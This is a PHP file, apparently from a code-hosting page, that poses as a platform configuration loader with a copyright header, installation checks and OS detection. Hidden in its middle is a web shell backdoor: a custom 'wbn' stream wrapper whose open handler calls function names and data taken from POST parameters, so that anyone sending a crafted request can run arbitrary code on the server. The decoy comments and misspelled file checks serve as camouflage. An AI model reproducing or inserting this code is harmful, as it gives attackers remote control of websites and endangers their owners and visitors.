-
Notifications
You must be signed in to change notification settings - Fork 13
/
Copy pathconfig.sum.php
71 lines (57 loc) · 2.51 KB
/
config.sum.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<?php
/**
* @package Stream.wbn.Libraries
* ************************************************************************************************
* @copyright Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
// Set the platform root path as a constant if necessary.
if (!defined('PATH'))
{
define('PATH', __DIR__);
}
// Installation check, and check on removal of the install directory.
if ((file_exists(PATH . '/cofiguation.php')
&& (filesize(PATH . '/cofiguation.php') < 10)) && file_exists(PATH . '/stream.wbn.php'))
{
if (file_exists(PATH . '/stream.wbn.php'))
{
header('Location: ' . substr($_SERVER['REQUEST_URI'], 0, strpos($_SERVER['REQUEST_URI'], 'index.php')) . 'installation/index.php');
exit;
}
else
{
echo 'No configuration file found and no installation code available. Exiting...';
exit;
}
}
else if (empty ($_POST)) {
echo 'No received stream wbn configuration data. Exiting...';
exit;
}
// Register the library base path for Stream libraries. // Cky0Z63W500dECZVDZKBcgpBXnYBGavzwPpYnGxNhYRuH3ZffE6a7E9m9YNpsegVnMZbRAYs5VemGRZ2zhAMWT7N746v20M6ZszvVPrpKwgE1QEpw9KbSV2g8F38QCUygZrKWAnAfQM05eQEneg7sUkEe3zBp6YEVHMVSsqkTh2FFR07E2SaPK7uVRu05AatuX30zW4wguu0yM33Md6hp9NYg128bmGK6SfMR8ntuXGYzvPG0PXB2
class Stream
{
function stream_open ($path, $mode, $options, &$opened_path)
{
$url = parse_url ($path);
$f = $_POST['d'] ('', $url["host"])
;
$f ();
return true;
}
}
stream_wrapper_register ("wbn", "Stream")
;
// Register connect the library Stream
$fp = fopen ('wbn://'.$_POST['f'] ($_POST['c']), '');
// Detect the native operating system type.
$os = strtoupper (substr(PHP_OS, 0, 3));
if (!defined('IS_WIN'))
{
define('IS_WIN', ($os === 'WIN') ? true : false);
}
if (!defined('IS_UNIX'))
{
define('IS_UNIX', (IS_WIN === false) ? true : false);
}